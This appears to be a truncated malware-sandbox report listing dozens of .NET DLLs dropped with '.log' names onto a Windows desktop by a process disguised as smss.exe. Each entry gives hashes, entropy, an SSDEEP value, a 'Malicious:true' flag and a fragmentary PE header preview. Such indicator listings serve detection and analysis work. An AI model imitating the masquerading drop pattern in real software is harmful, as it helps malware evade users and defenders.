                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\lEBoVCBE.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):39936
                                                    Entropy (8bit):5.660491370279985
                                                    Encrypted:false
                                                    SSDEEP:768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
                                                    MD5:240E98D38E0B679F055470167D247022
                                                    SHA1:49888CCED719AE78EE3BAE2959402749668AA1C6
                                                    SHA-256:C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
                                                    SHA-512:93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\laxFzmmK.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):39936
                                                    Entropy (8bit):5.660491370279985
                                                    Encrypted:false
                                                    SSDEEP:768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
                                                    MD5:240E98D38E0B679F055470167D247022
                                                    SHA1:49888CCED719AE78EE3BAE2959402749668AA1C6
                                                    SHA-256:C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
                                                    SHA-512:93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\lbIDvKrH.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):40448
                                                    Entropy (8bit):5.7028690200758465
                                                    Encrypted:false
                                                    SSDEEP:768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
                                                    MD5:51B1964F31C557AE8C2B01EA164ABD9F
                                                    SHA1:97C6E8FD1F21D644281FAF82D017969FE22423E4
                                                    SHA-256:AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
                                                    SHA-512:5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\ldNEzYdn.log

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):39936
                                                    Entropy (8bit):5.660491370279985
                                                    Encrypted:false
                                                    SSDEEP:768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
                                                    MD5:240E98D38E0B679F055470167D247022
                                                    SHA1:49888CCED719AE78EE3BAE2959402749668AA1C6
                                                    SHA-256:C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
                                                    SHA-512:93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\lkvqFFKN.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):38912
                                                    Entropy (8bit):5.679286635687991
                                                    Encrypted:false
                                                    SSDEEP:768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
                                                    MD5:9E910782CA3E88B3F87826609A21A54E
                                                    SHA1:8DBC333244620EDA5D3F1C9EAA6B924455262303
                                                    SHA-256:3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
                                                    SHA-512:592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\mJHGjalv.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):39936
                                                    Entropy (8bit):5.629584586954759
                                                    Encrypted:false
                                                    SSDEEP:768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
                                                    MD5:D478E398EFCD2BD9BDBFEA958F7BEE4F
                                                    SHA1:24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
                                                    SHA-256:32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
                                                    SHA-512:0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\mVoPJlwh.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):38400
                                                    Entropy (8bit):5.699005826018714
                                                    Encrypted:false
                                                    SSDEEP:768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
                                                    MD5:87765D141228784AE91334BAE25AD743
                                                    SHA1:442BA48B1B5BB158E2E6145B0592F81D20CB9C57
                                                    SHA-256:9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
                                                    SHA-512:77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\mhXybFYI.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):39936
                                                    Entropy (8bit):5.660491370279985
                                                    Encrypted:false
                                                    SSDEEP:768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
                                                    MD5:240E98D38E0B679F055470167D247022
                                                    SHA1:49888CCED719AE78EE3BAE2959402749668AA1C6
                                                    SHA-256:C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
                                                    SHA-512:93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\mpMPxzTg.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):69632
                                                    Entropy (8bit):5.932541123129161
                                                    Encrypted:false
                                                    SSDEEP:1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
                                                    MD5:F4B38D0F95B7E844DD288B441EBC9AAF
                                                    SHA1:9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
                                                    SHA-256:AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
                                                    SHA-512:2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

                                                    C:\Users\user\Desktop\msAnVFrt.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):38912
                                                    Entropy (8bit):5.679286635687991
                                                    Encrypted:false
                                                    SSDEEP:768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
                                                    MD5:9E910782CA3E88B3F87826609A21A54E
                                                    SHA1:8DBC333244620EDA5D3F1C9EAA6B924455262303
                                                    SHA-256:3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
                                                    SHA-512:592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\msFxGQxC.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):32256
                                                    Entropy (8bit):5.631194486392901
                                                    Encrypted:false
                                                    SSDEEP:384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
                                                    MD5:D8BF2A0481C0A17A634D066A711C12E9
                                                    SHA1:7CC01A58831ED109F85B64FE4920278CEDF3E38D
                                                    SHA-256:2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
                                                    SHA-512:7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\mtbZqlwz.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):40448
                                                    Entropy (8bit):5.7028690200758465
                                                    Encrypted:false
                                                    SSDEEP:768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
                                                    MD5:51B1964F31C557AE8C2B01EA164ABD9F
                                                    SHA1:97C6E8FD1F21D644281FAF82D017969FE22423E4
                                                    SHA-256:AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
                                                    SHA-512:5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\nOBNlzhI.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):32256
                                                    Entropy (8bit):5.631194486392901
                                                    Encrypted:false
                                                    SSDEEP:384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
                                                    MD5:D8BF2A0481C0A17A634D066A711C12E9
                                                    SHA1:7CC01A58831ED109F85B64FE4920278CEDF3E38D
                                                    SHA-256:2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
                                                    SHA-512:7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\nTbWaKQZ.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):38400
                                                    Entropy (8bit):5.699005826018714
                                                    Encrypted:false
                                                    SSDEEP:768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
                                                    MD5:87765D141228784AE91334BAE25AD743
                                                    SHA1:442BA48B1B5BB158E2E6145B0592F81D20CB9C57
                                                    SHA-256:9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
                                                    SHA-512:77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\nmeEvdWI.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):85504
                                                    Entropy (8bit):5.8769270258874755
                                                    Encrypted:false
                                                    SSDEEP:1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
                                                    MD5:E9CE850DB4350471A62CC24ACB83E859
                                                    SHA1:55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
                                                    SHA-256:7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
                                                    SHA-512:9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

                                                    C:\Users\user\Desktop\npbvqFGo.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):39936
                                                    Entropy (8bit):5.660491370279985
                                                    Encrypted:false
                                                    SSDEEP:768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
                                                    MD5:240E98D38E0B679F055470167D247022
                                                    SHA1:49888CCED719AE78EE3BAE2959402749668AA1C6
                                                    SHA-256:C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
                                                    SHA-512:93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\nqDhMlLu.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):64000
                                                    Entropy (8bit):5.857602289000348
                                                    Encrypted:false
                                                    SSDEEP:768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
                                                    MD5:5EE7E079F998F80293B3467CE6A5B4AE
                                                    SHA1:3C0932D48F3542E9DFB09AD9E1FF70891A038532
                                                    SHA-256:A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
                                                    SHA-512:056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\nxLOVoht.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):69632
                                                    Entropy (8bit):5.932541123129161
                                                    Encrypted:false
                                                    SSDEEP:1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
                                                    MD5:F4B38D0F95B7E844DD288B441EBC9AAF
                                                    SHA1:9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
                                                    SHA-256:AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
                                                    SHA-512:2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

                                                    C:\Users\user\Desktop\oRCevKfU.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):342528
                                                    Entropy (8bit):6.170134230759619
                                                    Encrypted:false
                                                    SSDEEP:3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
                                                    MD5:9DADB5C8A6FD5020275C31EE6BC61D63
                                                    SHA1:ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
                                                    SHA-256:80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
                                                    SHA-512:EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\odKZrBvL.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):126976
                                                    Entropy (8bit):6.057993947082715
                                                    Encrypted:false
                                                    SSDEEP:3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
                                                    MD5:16B480082780CC1D8C23FB05468F64E7
                                                    SHA1:6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
                                                    SHA-256:7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
                                                    SHA-512:A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

                                                    C:\Users\user\Desktop\pACFciry.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):64000
                                                    Entropy (8bit):5.857602289000348
                                                    Encrypted:false
                                                    SSDEEP:768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
                                                    MD5:5EE7E079F998F80293B3467CE6A5B4AE
                                                    SHA1:3C0932D48F3542E9DFB09AD9E1FF70891A038532
                                                    SHA-256:A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
                                                    SHA-512:056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\poepilap.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):70144
                                                    Entropy (8bit):5.909536568846014
                                                    Encrypted:false
                                                    SSDEEP:1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
